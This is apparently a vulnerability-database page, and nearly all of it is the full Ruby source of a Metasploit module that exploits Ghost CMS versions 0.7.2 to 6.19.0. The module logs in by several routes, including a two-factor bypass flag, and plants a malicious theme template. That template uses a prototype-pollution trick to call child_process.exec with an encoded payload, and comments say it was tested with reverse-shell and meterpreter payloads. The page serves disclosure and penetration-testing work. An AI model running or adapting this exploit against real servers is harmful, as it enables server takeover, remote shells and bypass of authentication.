Lucene search
+L

📄 Ghost CMS 6.19.0 Remote Code Execution

đŸ—“ïžÂ 07 Aug 2026 00:00:00Reported by Cristian-Alexandru Staicu, Maksim RogovType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 14 Views

Ghost content management system remote code execution via malicious themes affects 0.7.2 to 6.19.0; some versions bypass two-factor.

Related
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for Injection in Ghost
12 Mar 202609:55
–githubexploit
githubexploit
GithubExploit
Exploit for Injection in Ghost
21 Apr 202623:50
–githubexploit
githubexploit
GithubExploit
Exploit for SQL Injection in Ghost
17 Apr 202619:15
–githubexploit
attackerkb
ATTACKERKB
CVE-2026-29053
5 Mar 202605:51
–attackerkb
attackerkb
ATTACKERKB
CVE-2026-22594
10 Jan 202602:56
–attackerkb
circl
Circl
CVE-2026-22594
10 Jan 202603:22
–circl
circl
Circl
CVE-2026-29053
5 Mar 202606:21
–circl
cnnvd
CNNVD
Ghost æŽˆæƒé—źéą˜æŒæŽž
10 Jan 202600:00
–cnnvd
cnnvd
CNNVD
Ghost æłšć…„æŒæŽž
5 Mar 202600:00
–cnnvd
cve
CVE
CVE-2026-22594
10 Jan 202602:56
–cve
Rows per page
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    require 'zip'
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      prepend Msf::Exploit::Remote::AutoCheck
    
      VECTORS = {
        tag: {
          template_name: 'tag-{{SLUG}}.hbs',
          creator: :create_post,
          trigger: :get_tag,
          cleaner: :delete_post
        },
        page: {
          template_name: 'page-{{SLUG}}.hbs',
          creator: :create_page,
          trigger: :get_page,
          cleaner: :delete_page
        },
        author: {
          template_name: 'author-{{SLUG}}.hbs',
          creator: :pick_random_author,
          trigger: :get_author_by_slug,
          cleaner: nil
        }
      }.freeze
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Ghost CMS Remote Code Execution',
            'Description' => %q{
              This module exploits a Remote Code Execution (RCE) vulnerability in Ghost CMS.
              Specifically crafted malicious themes can execute arbitrary code on the server running Ghost.
    
              The affected versions include all releases from 0.7.2 up to and including 6.19.0.
              For versions 5.105.0-5.130.5 and 6.0.0-6.10.3, the module also leverages a 2FA bypass.
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'Maksim Rogov', # Metasploit Module
              'Cristian-Alexandru Staicu' # Vulnerability Discovery
            ],
            'References' => [
              ['CVE', '2026-29053'],
              ['CVE', '2026-22594'],
              ['URL', 'https://www.endorlabs.com/learn/rce-in-ghost-cms-ghsa-cgc2-rcrh-qr5x']
            ],
            'Arch' => [ARCH_CMD],
            'Targets' => [
              [
                'Ghost >= 0.7.2, <= 6.19.0 / Unix payload',
                {
                  'Platform' => ['unix', 'linux']
                  # Tested with cmd/unix/reverse_bash
                  # Tested with cmd/unix/reverse_nodejs
                }
              ],
              [
                'Ghost >= 0.7.2, <= 6.19.0 / Windows payload',
                {
                  'Platform' => ['windows']
                  # Tested with cmd/windows/http/x64/meterpreter/reverse_tcp
                }
              ]
            ],
            'DefaultTarget' => 0,
            'DisclosureDate' => '2026-03-02',
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'SideEffects' => [IOC_IN_LOGS],
              'Reliability' => [REPEATABLE_SESSION]
            }
          )
        )
    
        register_options(
          [
            OptString.new('TARGETURI', [true, 'Path to the Ghost CMS App', '/']),
            OptString.new('EMAIL', [ false, 'The email used for login or to receive the admin invitation']),
            OptString.new('PASSWORD', [ false, 'The password for the specified email (not needed for API-based invite)']),
            OptString.new('TOTP_CODE', [false, 'The 6-digit 2FA verification code required for TOTP flow']),
            OptString.new('INVITE_LINK', [false, 'Full invitation activation link from the email message']),
            OptString.new('ADMIN_API_KEY_ID', [ false, 'The ID of the Admin API key']),
            OptString.new('ADMIN_API_SECRET', [ false, 'The secret associated with the Admin API key']),
            OptString.new('GHOST_API_ADMIN_SESSION', [ false, 'The ghost-admin-api-session cookie']),
            OptString.new('ADMIN_SESSION_SECRET', [ false, 'The database session secret to sign admin cookies']),
            OptString.new('ADMIN_SESSION_ID', [ false, 'The plain session ID to be signed with the session secret']),
            OptInt.new('DELAY', [ true, 'Delay (in seconds) before resetting the execution lock, preventing repeated payload execution', 60]),
            OptEnum.new('ACTION', [true, 'Authentication method', 'PASSWORD', ['PASSWORD', 'SESSION_SECRET', 'API_KEY', 'COOKIE', 'INVITE']])
          ]
        )
      end
    
      def ghost_request_cgi(method, endpoint, data: nil, params: nil, ctype: 'application/json')
        headers = {}
        headers['Authorization'] = "Ghost #{@jwt_token}" if @jwt_token
        headers['Cookie'] = "ghost-admin-api-session=#{@ghost_admin_api_session}" if @ghost_admin_api_session
    
        proto = ssl ? 'https' : 'http'
        target_origin = "#{proto}://#{rhost}:#{rport}"
        headers['Origin'] = target_origin
    
        request_data = (ctype == 'application/json' && data.is_a?(Hash)) ? data.to_json : data
        res = send_request_cgi({
          'method' => method,
          'uri' => normalize_uri(target_uri.path, 'ghost', 'api', 'admin', endpoint),
          'headers' => headers,
          'ctype' => ctype,
          'vars_get' => params,
          'data' => request_data,
          'keep_cookies' => true
        })
    
        if res.nil?
          print_error("Connection failed during #{method} to #{endpoint}")
          return nil
        end
    
        if res.code >= 400
          json_body = res.get_json_document
          if json_body.is_a?(Hash) && json_body['errors']
            error = json_body.dig('errors', 0)
            ctx = error.is_a?(Hash) ? error['context'] : nil
    
            print_error("Ghost Error (#{res.code}). #{ctx}")
          end
        end
    
        res
      end
    
      def create_post(title, slug, tags = nil)
        res = ghost_request_cgi('POST', 'posts/', data: {
          posts: [
            {
              title: title,
              slug: slug,
              tags: tags,
              status: 'published',
              visibility: 'public'
            }
          ]
        })
        res&.get_json_document&.dig('posts', 0, 'id')
      end
    
      def create_page(title, slug, *_args)
        res = ghost_request_cgi('POST', 'pages/', data: {
          pages: [
            {
              title: title,
              slug: slug,
              status: 'published',
              visibility: 'public'
            }
          ]
        })
        res&.get_json_document&.dig('pages', 0, 'id')
      end
    
      def create_rex_archive(binary_archive)
        zip = Rex::Zip::Archive.new
    
        Zip::File.open_buffer(binary_archive) do |z|
          z.each do |f|
            zip.entries << Rex::Zip::Entry.new(
              f.name,
              (f.ftype == :file ? z.read(f) : ''),
              Rex::Zip::CM_DEFLATE,
              nil,
              (Rex::Zip::EFA_ISDIR if f.ftype == :directory)
            )
          end
        end
    
        zip
      end
    
      def download_theme(name)
        res = ghost_request_cgi('GET', "themes/#{name}/download/")
        res.body
      end
    
      def upload_theme(theme_name, zip_binary)
        mime = Rex::MIME::Message.new
        mime.add_part(zip_binary, 'application/zip', 'binary', "form-data; name=\"file\"; filename=\"#{theme_name}.zip\"")
    
        res = ghost_request_cgi('POST', 'themes/upload/',
                                data: mime.to_s,
                                ctype: "multipart/form-data; boundary=#{mime.bound}")
    
        fail_with(Msf::Module::Failure::UnexpectedReply, "#{peer} - Theme upload failed: no response received") unless res
    
        json_body = res.get_json_document
        errors = json_body.is_a?(Hash) ? json_body['errors'] : nil
        error_message = if errors.is_a?(Array) && !errors.empty?
                          errors.map { |error| error.is_a?(Hash) ? error['message'] || error.inspect : error.to_s }.join(', ')
                        end
    
        unless res.code.between?(200, 299) && error_message.nil?
          message = "#{peer} - Theme upload failed (HTTP #{res.code})"
          message = "#{message}: #{error_message}" if error_message
          fail_with(Msf::Module::Failure::UnexpectedReply, message)
        end
    
        res
      end
    
      def get_malicious_template
        delay_seconds = datastore['DELAY']
        delay_ms = delay_seconds * 1000
        resource = ['posts', 'pages', 'tags', 'authors', 'tiers'].sample
        filter = ['id', 'name', 'slug'].sample
    
        # prevents multiple concurrent executions using a global lock
        lock_var = Rex::Text.rand_text_alpha_lower(1..16)
    
        js_bytes = "String.fromCharCode(#{payload.encoded.bytes.join(',')})"
        js_payload = "return global.#{lock_var}?0:(global.#{lock_var}=1,process.mainModule.require('child_process').exec(#{js_bytes},{detached:1},()=>setTimeout(()=>global.#{lock_var}=0,#{delay_ms})))"
        [
          '{{!< default}}',
          "{{#get \"#{resource}\" filter=\"#{filter}:{{@site[?( ({__proto__:\\\"\\\".toString})[\\\"constructor\\\"](\\\"#{js_payload}\\\")() )]}}\" limit=\"1\"}}",
          '{{/get}}'
        ].join("\n")
      end
    
      def delete_theme(name)
        res = ghost_request_cgi('DELETE', "themes/#{name}/")
        res&.code == 204
      end
    
      def get_users(include: nil)
        params = {}
        params['include'] = include if include.present?
    
        res = ghost_request_cgi('GET', 'users/', params: params)
        res&.get_json_document&.dig('users')
      end
    
      def delete_post(post_id)
        res = ghost_request_cgi('DELETE', "posts/#{post_id}/")
        res&.code == 204
      end
    
      def delete_page(page_id)
        res = ghost_request_cgi('DELETE', "pages/#{page_id}/")
        res&.code == 204
      end
    
      def delete_invite(invite_id)
        res = ghost_request_cgi('DELETE', "invites/#{invite_id}/")
        res&.code == 204
      end
    
      def check_existing_session
        if datastore['GHOST_API_ADMIN_SESSION'].present?
          print_status('Found GHOST_API_ADMIN_SESSION in datastore. Validating session...')
          @ghost_admin_api_session = datastore['GHOST_API_ADMIN_SESSION'].to_s
          if get_config.present?
            return true
          else
            print_error('Session is invalid: Incorrect cookie or 2FA code is required.')
          end
        end
        @ghost_admin_api_session = nil
        false
      end
    
      def verify_totp_code
        unless datastore['TOTP_CODE'] =~ /^\d{6}$/
          fail_with(Msf::Module::Failure::BadConfig, 'The TOTP_CODE must be exactly 6 digits.')
        end
    
        if datastore['GHOST_API_ADMIN_SESSION'].blank?
          fail_with(Msf::Module::Failure::BadConfig, 'Missing GHOST_API_ADMIN_SESSION. Cannot verify TOTP without the previous session cookie.')
        end
    
        print_status("Submitting verification code from datastore: #{datastore['TOTP_CODE']}...")
        @ghost_admin_api_session = datastore['GHOST_API_ADMIN_SESSION'].to_s
    
        res_verify = ghost_request_cgi('PUT', 'session/verify', data: {
          token: datastore['TOTP_CODE']
        })
    
        if res_verify&.code == 200 || res_verify&.code == 201
          print_good('2FA verification successful! Session established.')
          save_session_cookie(res_verify)
          return true
        elsif res_verify&.code == 401
          print_error('2FA verification failed. The code entered is incorrect.')
          return false
        else
          print_error("Verification failed. Server responded with HTTP status: #{res_verify&.code}")
          return false
        end
      end
    
      def authenticate_with_password(email, password)
        print_status("Authenticating via session (user: #{email})...")
        json_data = {
          username: email,
          password: password
        }
    
        # CVE-2026-22594 Staff 2FA bypass
        if Rex::Version.new(@version).between?(Rex::Version.new('6.0.0'), Rex::Version.new('6.10.3')) || Rex::Version.new(@version).between?(Rex::Version.new('5.105.0'), Rex::Version.new('5.130.5'))
          print_status("Target version #{@version} is vulnerable to 2FA bypass (CVE-2026-22594). Attempting to exploit...")
          json_data[:skipEmailVerification] = true
        end
    
        res = ghost_request_cgi('POST', 'session', data: json_data)
    
        if res.nil?
          print_error('No response received from the server during login.')
          return false
        end
    
        case res.code
        when 200, 201
          print_good('Session established via password successfully.')
          save_session_cookie(res)
          return true
        when 404
          print_error('User not found or login endpoint does not exist.')
          return false
        else
          if res.body =~ /2FA_NEW_DEVICE_DETECTED/
            save_session_cookie(res)
            print_warning('The server requires a 2FA email verification code (2FA_NEW_DEVICE_DETECTED).')
            fail_with(Msf::Module::Failure::BadConfig, 'Please run: "set TOTP_CODE <6-digits>", and run again.')
          end
    
          print_error("Login failed! Response code: #{res.code}")
          false
        end
      end
    
      def save_session_cookie(response)
        raw_cookies = response.get_cookies
        if raw_cookies.present? && raw_cookies =~ /ghost-admin-api-session=([^;]+)/
          captured_cookie = Regexp.last_match(1)
          framework.datastore['GHOST_API_ADMIN_SESSION'] = captured_cookie
          @ghost_admin_api_session = captured_cookie
        end
      end
    
      def do_login(email, password)
        if check_existing_session
          print_good('Valid active session detected via cookie. Skipping authentication steps.')
          return true
        end
    
        if datastore['TOTP_CODE'].present?
          return verify_totp_code
        end
    
        authenticate_with_password(email, password)
      end
    
      def build_archive_from_directory(directory_path)
        archive = Rex::Zip::Archive.new
    
        Dir.glob(File.join(directory_path, '**', '*')).each do |path|
          relative_path = path.sub("#{directory_path}/", '')
    
          if File.file?(path)
            archive.add_file(relative_path, File.read(path))
          elsif File.directory?(path)
            archive.add_file(relative_path, nil, recursive: true)
          end
        end
    
        archive
      end
    
      def get_active_theme
        res = ghost_request_cgi('GET', 'themes/active/')
        res&.get_json_document&.dig('themes', 0)
      end
    
      def prepare_base_theme
        if datastore['ACTION'] == 'API_KEY'
          print_status('Using local template theme for JWT-based attack...')
          theme_path = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2026-29053', 'theme')
    
          build_archive_from_directory(theme_path)
        else
          active_theme = get_active_theme
          fail_with(Failure::UnexpectedReply, 'Could not retrieve active theme info') unless active_theme.is_a?(Hash)
    
          @default_theme = active_theme&.dig('name')
          fail_with(Failure::UnexpectedReply, 'Could not retrieve active theme info') if @default_theme.nil?
    
          print_status("Downloading active theme \"#{@default_theme}\" from server...")
          theme_data = download_theme(@default_theme)
          fail_with(Failure::UnexpectedReply, "Failed to download theme: #{@default_theme}") if theme_data.nil? || theme_data.empty?
    
          create_rex_archive(theme_data)
        end
      end
    
      def activate_theme(theme_name)
        res = ghost_request_cgi('PUT', "themes/#{theme_name}/activate/")
        res&.code == 200
      end
    
      def inject_payload(base_archive, template_pattern, slug)
        target_filename = template_pattern.gsub('{{SLUG}}', slug)
    
        payload_content = get_malicious_template
    
        print_status("Injecting payload into: #{target_filename}")
        base_archive.add_file(target_filename, payload_content)
        base_archive.pack
      end
    
      def pick_random_author(*_args)
        users = get_users(include: 'count.posts')
        fail_with(Failure::UnexpectedReply, 'Could not retrieve any authors from Ghost') if users.nil? || users.empty?
    
        active_users = users.select do |user|
          post_count = user.dig('count', 'posts').to_i
          post_count >= 1
        end
    
        active_users.sample['slug']
      end
    
      def get_author_by_slug(slug)
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'author', slug.to_s, '')
        )
        fail_with(Msf::Module::Failure::UnexpectedReply, "#{peer} - Unexpected HTTP response: status #{res&.code}") unless res&.code == 200
      end
    
      def get_page(slug)
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, slug.to_s, '')
        )
        fail_with(Msf::Module::Failure::UnexpectedReply, "#{peer} - Unexpected HTTP response: status #{res&.code}") unless res&.code == 200
      end
    
      def get_tag(slug)
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'tag', slug.to_s, '')
        )
        fail_with(Msf::Module::Failure::UnexpectedReply, "#{peer} - Unexpected HTTP response: status #{res&.code}") unless res&.code == 200
      end
    
      def issue_jwt(key_id, secret)
        iat = Time.now.to_i
        payload = {
          iat: iat,
          exp: iat + 5 * 60,
          aud: '/admin/'
        }
        secret_bytes = [secret].pack('H*')
        Msf::Exploit::Remote::HTTP::JWT.encode(
          JSON.generate(payload),
          secret_bytes,
          'HS256',
          { kid: key_id }
        )
      end
    
      def get_roles
        res = ghost_request_cgi('GET', '/roles/')
        return nil unless res&.code == 200
    
        res&.get_json_document&.dig('roles')
      end
    
      def invite_user(email, role_name)
        allowed_roles = %w[Administrator Editor Contributor Author]
    
        unless allowed_roles.include?(role_name)
          fail_with(Failure::BadConfig, "Invalid role: #{role_name}")
        end
    
        roles = get_roles
        role_id = roles.find { |role| role['name'] == role_name }['id']
    
        res = ghost_request_cgi('POST', '/invites/', data: {
          invites: [
            {
              role_id: role_id,
              email: email
            }
          ]
        })
        unless res&.code == 201
          fail_with(Failure::UnexpectedReply, "#{peer} - Failed to send invitation to #{email}")
        end
        res&.get_json_document&.dig('invites', 0)
      end
    
      def activate_invite(token, name, email, password)
        res = ghost_request_cgi('POST', '/authentication/invitation/', data: {
          invitation: [
            {
              name: name,
              email: email,
              password: password,
              token: token
            }
          ]
        })
    
        res&.code == 200
      end
    
      def handle_successful_activation(email, password)
        print_good("Account activated successfully: #{email} : #{password}")
        @account_created = true
        @invite_id = nil
        authenticate_with_password(email, password)
      end
    
      def auth_with_invite
        @jwt_token = issue_jwt(datastore['ADMIN_API_KEY_ID'], datastore['ADMIN_API_SECRET'])
        email = datastore['EMAIL']
    
        unless datastore['INVITE_LINK'].present?
          @invite_id = invite_user(email, 'Administrator')&.dig('id')
          print_warning("An invitation has been sent to #{email}.")
          print_warning('Please check the inbox, copy the "Click here to activate your account" link, and paste it here.')
          fail_with(Msf::Module::Failure::BadConfig, 'Please run: "set INVITE_LINK <full_link>", and run again.')
        end
    
        name = Faker::Name.unique.name
        pass = Faker::Internet.password(min_length: 10, mix_case: true, special_characters: true)
        token = URI.parse(datastore['INVITE_LINK']).path.split('/').last
    
        if activate_invite(token, name, email, pass)
          handle_successful_activation(email, pass)
        else
          fail_with(Msf::Module::Failure::UnexpectedReply, 'Activation failed and fallback authentication failed. The token might be invalid or expired.')
        end
      end
    
      def auth_with_jwt
        @jwt_token = issue_jwt(datastore['ADMIN_API_KEY_ID'], datastore['ADMIN_API_SECRET'])
    
        @jwt_token.present?
      end
    
      def get_user_id(email)
        users = get_users
        return nil if users.nil?
    
        user = users.find { |user| user['email'] == email }
        user ? user['id'] : nil
      end
    
      def delete_user(email)
        user_id = get_user_id(email)
        return false unless user_id
    
        res = ghost_request_cgi('DELETE', "users/#{user_id}/")
        res && res.code == 200
      end
    
      def get_config
        res = ghost_request_cgi('GET', 'config/')
        res&.get_json_document&.dig('config')
      end
    
      def sign_ghost_admin_session(secret, session_id)
        hmac = OpenSSL::HMAC.digest('SHA256', secret, session_id)
        signature = Base64.strict_encode64(hmac).gsub(/=+$/, '')
    
        raw_cookie = "s:#{session_id}.#{signature}"
        Rex::Text.uri_encode(raw_cookie).gsub(/%[0-9a-f]{2}/, &:upcase)
      end
    
      def auth
        action = datastore['ACTION']
    
        required_params = case action
                          when 'PASSWORD' then ['EMAIL', 'PASSWORD']
                          when 'API_KEY' then ['ADMIN_API_KEY_ID', 'ADMIN_API_SECRET']
                          when 'INVITE' then ['EMAIL', 'ADMIN_API_KEY_ID', 'ADMIN_API_SECRET']
                          when 'SESSION_SECRET' then ['ADMIN_SESSION_SECRET', 'ADMIN_SESSION_ID']
                          when 'COOKIE' then ['GHOST_API_ADMIN_SESSION']
                          when nil, ''
                            fail_with(Failure::BadConfig, 'ACTION parameter is missing. Please set ACTION to one of: PASSWORD, API_KEY, INVITE, SESSION_SECRET, COOKIE')
                          else
                            fail_with(Failure::BadConfig, "Invalid ACTION: #{action}")
                          end
    
        missing = required_params.select { |p| datastore[p].blank? }
        if missing.any?
          fail_with(Failure::BadConfig, "Authentication via \"#{action}\" requires parameters: #{required_params.join(', ')}. (Missing: #{missing.join(', ')})")
        end
    
        auth_success = case action
                       when 'PASSWORD'
                         do_login(datastore['EMAIL'], datastore['PASSWORD'])
                       when 'API_KEY'
                         print_status('Authenticating via Pure API Key (JWT generation)...')
                         auth_with_jwt
                       when 'INVITE'
                         print_status('Authenticating via Invitation Flow...')
                         auth_with_invite
                       when 'SESSION_SECRET'
                         print_status("Signing session cookie using provided secret for Session ID: #{datastore['ADMIN_SESSION_ID']}...")
                         @ghost_admin_api_session = sign_ghost_admin_session(datastore['ADMIN_SESSION_SECRET'], datastore['ADMIN_SESSION_ID'])
                         !get_config.nil?
                       when 'COOKIE'
                         print_status('Authenticating via GHOST_API_ADMIN_SESSION cookie...')
                         @ghost_admin_api_session = datastore['GHOST_API_ADMIN_SESSION']
                         !get_config.nil?
                       end
    
        if auth_success
          print_good('Authentication successful!')
        else
          fail_with(Failure::NoAccess, "Authentication failed for ACTION \"#{action}\": Unable to establish a session. Verify your credentials/tokens.")
        end
      end
    
      def check
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path)
        )
        return CheckCode::Unknown("#{peer} - Unexpected HTTP response: status #{res&.code}") unless res&.code == 200
    
        html = res&.get_html_document
        ghost_tag = html.at('meta[name="generator"][content^="Ghost"]')
    
        raw_content = ghost_tag&.[]('content')
        return CheckCode::Unknown("#{peer} - Ghost generator meta tag not found") unless ghost_tag
    
        # keep only digits and dots
        @version = Rex::Version.new(raw_content.gsub(/[^\d.]/, ''))
        return CheckCode::Appears("Detected version #{@version}, which is vulnerable") if Rex::Version.new(@version).between?(Rex::Version.new('0.7.2'), Rex::Version.new('6.19.0'))
    
        CheckCode::Safe("Detected version #{@version}, which is not vulnerable")
      end
    
      def cleanup
        super
    
        if @default_theme && @malicious_theme_name
          print_status('Reverting to default theme...')
          activate_theme(@default_theme) ? print_good("Successfully reverted to theme: #{@default_theme}") : print_error("Failed to revert to theme: #{@default_theme}")
    
          print_status('Removing malicious theme...')
          delete_theme(@malicious_theme_name) ? print_good("Successfully removed malicious theme: #{@malicious_theme_name}") : print_error("Failed to remove malicious theme: #{@malicious_theme_name}")
        end
    
        if @content_id && @vector && @vector[:cleaner]
          print_status('Removing content...')
          send(@vector[:cleaner], @content_id) ? print_good("Successfully removed content: #{@vector_key} #{@content_id}") : print_error("Failed to remove content: #{@vector_key} #{@content_id}")
        end
    
        if @invite_id && datastore['INVITE_LINK'].present?
          print_status('Removing invitation...')
          delete_invite(@invite_id) ? print_good('Invitation removed successfully') : print_error('Failed to delete the invitation')
        end
    
        if @account_created
          print_status('Removing temporary account...')
    
          auth_with_jwt || (print_error('Unable to authorize via API keys to delete the user') && return)
          delete_user(datastore['EMAIL']) ? print_good('The temporary account removed successfully') : print_error('Failed to delete the temporary account')
        end
      end
    
      def exploit
        auth
    
        @vector_key = VECTORS.keys.sample
        @vector = VECTORS[@vector_key]
    
        if @vector_key == :author
          @trigger_slug = send(@vector[:creator])
        else
          @trigger_slug = Rex::Text.rand_text_alpha_lower(4..16)
          @content_id = send(@vector[:creator], @trigger_slug, @trigger_slug, [@trigger_slug])
        end
    
        @malicious_theme_name = Rex::Text.rand_text_alpha_lower(4..16)
    
        base_archive = prepare_base_theme
        if base_archive.nil?
          fail_with(Failure::BadConfig, 'Base archive could not be initialized')
        end
    
        infected_zip = inject_payload(base_archive, @vector[:template_name], @trigger_slug)
        print_status("Uploading infected theme: #{@malicious_theme_name}")
        upload_theme(@malicious_theme_name, infected_zip)
        activate_theme(@malicious_theme_name)
    
        print_status('Triggering payload...')
        send(@vector[:trigger], @trigger_slug)
      end
    
    end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation